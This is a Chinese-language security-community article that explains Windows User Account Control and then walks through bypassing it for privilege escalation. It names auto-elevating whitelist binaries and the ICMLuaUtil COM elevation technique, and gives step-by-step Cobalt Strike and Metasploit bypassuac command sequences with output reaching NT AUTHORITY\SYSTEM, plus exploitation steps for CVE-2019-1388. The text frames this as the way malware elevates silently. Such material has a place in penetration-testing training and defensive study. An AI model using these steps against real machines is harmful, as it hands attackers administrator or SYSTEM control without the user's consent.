sechub官方2023-07-27文章来源:SecHub网络安全社区
UAC(User Account Control,用户账号控制)是微软为了提高系统安全性在Windows Vista中引入的技术。UAC要求用户在执行可能影响计算机运行的操作或在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证,以避免恶意软件和间谍软件在未经许可的情况下在计算机上进行安装操作或者对计算机设置进行更改。在Windows Vista及以后的版本中,微软设置了安全控制策略,分为高、中、低三个等级。高等级的进程有管理员权限;中等级的进程有普通用户权限;低等级的进程,权限是有限的,以保证系统在受到安全威胁时造成的损害最小。在权限不够的情况下,访问系统磁盘的根目录、Windows目录,以及读写系统登录数据库等操作,都需要经常UAC(User Account Control,用户账号控制)的认证。
UAC需要授权的动作包括:
UAC有如下四种设置要求:
在触发 UAC 时,系统会创建一个consent.exe进程,该进程通过白名单程序和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo的RAiLuanchAdminProcess函数,该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证被请求的进程签名以及发起者的权限是否符合要求,然后决定是否弹出UAC框让用户进行确认。这个UAC框会创建新的安全桌面,屏蔽之前的界面。同时这个UAC框进程是SYSTEM权限进程,其他普通进程也无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员权限启动请求的进程。
在开启 UAC 后,即使我们控制的账号是属于本地管理员组的,也会以普通用户的权限来运行软件。但我们的很多操作是需要管理员权限的,所以,病毒木马想要实现更多权限操作,那么就不得不绕过UAC弹窗,在没有通知用户情况下, 静默地将程序普通权限提升为管理员权限,从而程序可以实现一些需要权限的操作。目前实现Bypass UAC的方法主要有两种方法,一种是利用白名单提权机制,另一种是利用COM组件接口技术。
有些系统程序是直接获取管理员权限,而不会触发UAC弹框,这类程序称为白名单程序。例如,slui.exe、wusa.exe、taskmgr.exe、msra.exe、eudcedit.exe、eventvwr.exe、CompMgmtLauncher.exe等等。可以通过对这些白名单程序进行DLL劫持、注入或是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作。
COM提升名称(COM Elevation Moniker)技术允许运行在用户帐户控制(UAC)下的应用程序用提升权限的方法来激活COM类,以此提升COM接口权限。其中,ICMLuaUtil接口中提供了ShellExec方法来执行命令,创建指定进程。所以,本文介绍的基于ICMLuaUtil接口的Bypass UAC的实现原理是利用COM提升名称(COM Elevation Moniker)来对ICMLuaUtil接口提权,提权后通过调用ShellExec方法来创建指定进程,实现Bypass UAC操作。
要注意的是,如果执行COM提升名称(COM Elevation Moniker)代码的程序身份是不可信的,则会触发UAC弹窗,若可信,则不会触发UAC弹窗。所以,要想Bypass UAC,则需要想办法让这段代码在Windows的可信程序中运行。其中,可信程序有计算器、记事本、资源管理器、rundll32.exe等。所以可以通过DLL注入或是劫持等技术,将这段代码注入到这些可信程序的进程空间中执行。其中,最简单的莫过于直接通过rundll32.exe来加载DLL,执行COM提升名称的代码。
CS中Bypass UAC 有两个步骤,分别是:
1、首先使用shell whoami /groups
查看当前上线主机用户的所属组及 UAC 等级
通过返回信息可以看出,当前用户为管理员权限,UAC 等级为中,此时可以使用bypassuac进行提权。
2、右击会话,选择权限提升(Access --> Elevate),监听器这里选择一个 SMB Beacon ,提权方式(Exploit)选择uac-token-duplication ,最后运行(Launch) 即可。
3、Bypass UAC提权成功后,便会返回一个UAC为最高权限的一个会话。
MSF的Bypass uac提权模块:
use exploit/windows/local/bypassuac #该模块运行时会因为在目标机上创建多个文件而被杀毒软件识别,因此通过该模块提权成功率很低。
use exploit/windows/local/bypassuac_injection #该模块直接运行在内存的反射DLL中,所以不会接触目标机器的硬盘,从而降低了被杀毒软件检测出来的概率。
getuid
发现当前获取的仅为普通权限
直接使用getsystem
提权失败
前提:
1、background
将当前会话置于后台
2、调用bypassuac模块
use exploit/windows/local/bypassuac
set session 1
set lhost 0.0.0.0
set lport 4444 #本地监听的端口,随便设置一个未被占用的端口即可
exploit
3、在新生成的session中再次调用getsystem
提升权限
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
use exploit/windows/local/bypassuac_injection
set session 1
set target 1 #设置目标系统类型,1是64位,0是32位
set lhost 0.0.0.0
set lport 4444
exploit
Bypass UAC成功,getsystem
提升权限
CVE-2019-1388 Windows UAC 提权程序:HHUPD.EXE
https://github.com/jas502n/CVE-2019-1388
1、查看当前权限
2、以管理员权限运行HHUPD.EXE,点击显示详细信息,显示有关此发布者的证书信息
3、点击颁发者右侧的超链接,等待一段时间ie浏览器自动运行,并访问该链接,这时出现404或链接无法访问(此时浏览器以system权限运行)
4、将网页直接另存为文件,选择位置C:\Windows\System32
关闭报错弹窗
5、在另存窗口打开cmd.exe,此时已经是system权限